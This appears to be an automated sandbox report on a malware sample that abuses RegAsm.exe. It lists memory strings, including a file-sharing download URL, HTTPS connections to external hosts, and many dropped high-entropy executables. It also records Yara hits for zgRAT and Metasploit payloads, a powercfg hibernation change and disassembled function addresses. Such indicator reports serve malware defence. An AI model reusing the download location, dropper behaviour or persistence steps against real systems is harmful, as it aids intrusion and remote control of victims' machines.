Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2858213421.00000000007FC000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000003.2810550974.0000000029C5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2858213421.00000000007FC000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000003.2810550974.0000000029C5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2858213421.00000000007FC000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2858213421.00000000007FC000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/1
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000003.2810550974.0000000029C5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000003.2810550974.0000000029C5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.2858213421.00000000007FC000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000003.2810550974.0000000029C5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: RegAsm.exe, 00000001.00000002.2115993877.0000000003AAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtransfer.net/5wi
Source: RegAsm.exe, 00000001.00000002.2115993877.0000000003AAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtransfer.net/Ew
Source: RegAsm.exe, 00000001.00000002.2113898580.0000000003A3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtransfer.net/handler/download?action=download&download_id=Jgc6sLaF&private_id=0&url=https

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756

Source: unknown	HTTPS traffic detected: 104.237.62.213:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.61:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 37.153.95.99:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 37.153.95.99:443 -> 192.168.2.4:49754 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Temp\Tmp91DE.tmp			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Temp\Tmp91EF.tmp			Jump to dropped file

Spam, unwanted Advertisements and Ransom Demands

Writes many files with high entropy

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\install[1].exe entropy: 7.99780261853	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\D4wpDprTNebjzitxM8NmQjMu.exe entropy: 7.99780261853	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66e197066b3e8_xin[1].exe entropy: 7.99532480035	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe entropy: 7.99532480035	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	File created: C:\Users\user\AppData\Local\Temp\Subsequently entropy: 7.99704180571	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	File created: C:\Users\user\AppData\Local\Temp\Creative entropy: 7.997950133	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	File created: C:\Users\user\AppData\Local\Temp\Suck entropy: 7.99742851594	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	File created: C:\Users\user\AppData\Local\Temp\Pdas entropy: 7.9968298256	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	File created: C:\Users\user\AppData\Local\Temp\Clan entropy: 7.99822339885	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	File created: C:\Users\user\AppData\Local\Temp\Mediterranean entropy: 7.99728512845	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	File created: C:\Users\user\AppData\Local\Temp\Fifty entropy: 7.99768248908	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	File created: C:\Users\user\AppData\Local\Temp\Founder entropy: 7.99762428337	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	File created: C:\Users\user\AppData\Local\Temp\Faqs entropy: 7.99710352625	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	File created: C:\Users\user\AppData\Local\Temp\Buy entropy: 7.99786846071	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	File created: C:\Users\user\AppData\Local\Temp\Vessel entropy: 7.99773532331	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	File created: C:\Users\user\AppData\Local\Temp\Specialist entropy: 7.99614081243	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	File created: C:\Users\user\AppData\Local\Temp\Hd entropy: 7.99784861519	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	File created: C:\Users\user\AppData\Local\Temp\Danger entropy: 7.99738116647	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	File created: C:\Users\user\AppData\Local\Temp\Adaptive entropy: 7.99798769029	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	File created: C:\Users\user\AppData\Local\Temp\Radius entropy: 7.99703980796	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	File created: C:\Users\user\AppData\Local\Temp\Ibm entropy: 7.99789293909	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	File created: C:\Users\user\AppData\Local\Temp\Pork entropy: 7.99751253291	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	File created: C:\Users\user\AppData\Local\Temp\Reaction entropy: 7.99822142493	Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: file.exe, type: SAMPLE	Matched rule: Detects executables packed with unregistered version of .NET Reactor Author: ditekSHen
Source: 29.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 17.2.GYi2x83ApCTB3_vjRj5FL48U.exe.3885570.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 17.2.GYi2x83ApCTB3_vjRj5FL48U.exe.3885570.0.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 11.0.Kra4UjTOv3M2ogVWTG9TXvYP.exe.f20000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables packed with unregistered version of .NET Reactor Author: ditekSHen
Source: 0000000C.00000002.2542689715.00000000033E6000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth
Source: 0000000C.00000002.2542689715.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth

Drops large PE files

Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe

File dump: service123.exe.14.dr 314613760

Jump to dropped file

Uses powercfg.exe to modify the power settings

Source: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe

Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_0042CD30 __aulldiv,VirtualAlloc,__aulldiv,__aulldiv,NtQuerySystemInformation,__aulldiv,WideCharToMultiByte,CharToOemA,VirtualFree,__aulldiv,

1_2_0042CD30

Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe

Code function: 6_2_00007FF7B2F6C2F0: CreateFileW,CloseHandle,wcscpy,wcscpy,wcscpy,wcscpy,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

6_2_00007FF7B2F6C2F0

Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Code function: 8_2_00403899 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,		8_2_00403899
Source: C:\Users\user\Documents\iofolko5\D4wpDprTNebjzitxM8NmQjMu.exe	Code function: 10_2_00409448 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,		10_2_00409448

Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	File created: C:\Windows\ZusVocabulary	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	File created: C:\Windows\DamnMere	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	File created: C:\Windows\SportsPulling	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	File created: C:\Windows\EeVar
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	File created: C:\Windows\PrescriptionSatin
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	File created: C:\Windows\GoatPe
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	File created: C:\Windows\KneeConflict
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	File created: C:\Windows\FillBones
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	File created: C:\Windows\SuseOfficials
Source: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	File created: C:\Windows\ExecutedExplanation
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05A50E68	0_2_05A50E68
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05A50040	0_2_05A50040
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05A35DF1	0_2_05A35DF1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05A51B60	0_2_05A51B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01A30868	0_2_01A30868
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01A30878	0_2_01A30878
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01A30F2E	0_2_01A30F2E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01A30F30	0_2_01A30F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05A9D4D8	0_2_05A9D4D8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05A93708	0_2_05A93708
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05A92848	0_2_05A92848
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05A9A4C8	0_2_05A9A4C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05A96328	0_2_05A96328
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_004271F0	1_2_004271F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_004CF190	1_2_004CF190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00481510	1_2_00481510
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0042C650	1_2_0042C650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_004516E0	1_2_004516E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00436690	1_2_00436690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0046D6A0	1_2_0046D6A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00430720	1_2_00430720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_004317C0	1_2_004317C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00442940	1_2_00442940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00437AE0	1_2_00437AE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00434AF0	1_2_00434AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00433BC0	1_2_00433BC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0047ECF0	1_2_0047ECF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00434D10	1_2_00434D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00440EF0	1_2_00440EF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00509E90	1_2_00509E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00553060	1_2_00553060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00551028	1_2_00551028
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_004210E0	1_2_004210E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0056814D	1_2_0056814D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00402100	1_2_00402100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_004242B0	1_2_004242B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_004213A0	1_2_004213A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00441450	1_2_00441450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00423470	1_2_00423470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0042D550	1_2_0042D550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0040B5E0	1_2_0040B5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00405640	1_2_00405640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00422640	1_2_00422640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0042A640	1_2_0042A640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00402630	1_2_00402630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00424710	1_2_00424710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00443720	1_2_00443720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_005177D5	1_2_005177D5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0056385C	1_2_0056385C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0054E85A	1_2_0054E85A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00421820	1_2_00421820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_005179D0	1_2_005179D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0041E9E0	1_2_0041E9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_005139E0	1_2_005139E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00544999	1_2_00544999
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0044AB70	1_2_0044AB70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00562C40	1_2_00562C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00425C80	1_2_00425C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0042DD00	1_2_0042DD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0042CD30	1_2_0042CD30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00401E90	1_2_00401E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00543FF0	1_2_00543FF0
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F7A4AC	6_2_00007FF7B2F7A4AC
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F8B190	6_2_00007FF7B2F8B190
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F90754	6_2_00007FF7B2F90754
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F74928	6_2_00007FF7B2F74928
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F6F930	6_2_00007FF7B2F6F930
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F65E24	6_2_00007FF7B2F65E24
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F8CE88	6_2_00007FF7B2F8CE88
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F83484	6_2_00007FF7B2F83484
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F853F0	6_2_00007FF7B2F853F0
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F7126C	6_2_00007FF7B2F7126C
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F67288	6_2_00007FF7B2F67288
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F6C2F0	6_2_00007FF7B2F6C2F0
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F6A310	6_2_00007FF7B2F6A310
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F7F180	6_2_00007FF7B2F7F180
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F821D0	6_2_00007FF7B2F821D0
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F9C838	6_2_00007FF7B2F9C838
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F64840	6_2_00007FF7B2F64840
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F676C0	6_2_00007FF7B2F676C0
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F7B534	6_2_00007FF7B2F7B534
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2FA2550	6_2_00007FF7B2FA2550
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F98C1C	6_2_00007FF7B2F98C1C
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F75B60	6_2_00007FF7B2F75B60
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F7BB90	6_2_00007FF7B2F7BB90
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F84B98	6_2_00007FF7B2F84B98
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F71A48	6_2_00007FF7B2F71A48
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F9FA94	6_2_00007FF7B2F9FA94
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F61AA4	6_2_00007FF7B2F61AA4
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F82AB0	6_2_00007FF7B2F82AB0
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2FA5AF8	6_2_00007FF7B2FA5AF8
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F83964	6_2_00007FF7B2F83964
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F7C96C	6_2_00007FF7B2F7C96C
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F989A0	6_2_00007FF7B2F989A0
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2FA2080	6_2_00007FF7B2FA2080
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F7AF18	6_2_00007FF7B2F7AF18
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F81F20	6_2_00007FF7B2F81F20
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F82D58	6_2_00007FF7B2F82D58
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F88DF4	6_2_00007FF7B2F88DF4
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2F90754	6_2_00007FF7B2F90754
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Code function: 7_2_014BA174	7_2_014BA174
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Code function: 7_2_014BA180	7_2_014BA180
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Code function: 7_2_014BA3C7	7_2_014BA3C7
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Code function: 7_2_014BA3D8	7_2_014BA3D8
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Code function: 7_2_056B89C8	7_2_056B89C8
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Code function: 7_2_056C94C0	7_2_056C94C0
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Code function: 7_2_056CE710	7_2_056CE710
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Code function: 7_2_056C56D0	7_2_056C56D0
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Code function: 7_2_056C81C0	7_2_056C81C0
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Code function: 7_2_056C15A8	7_2_056C15A8
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Code function: 7_2_056C94B0	7_2_056C94B0
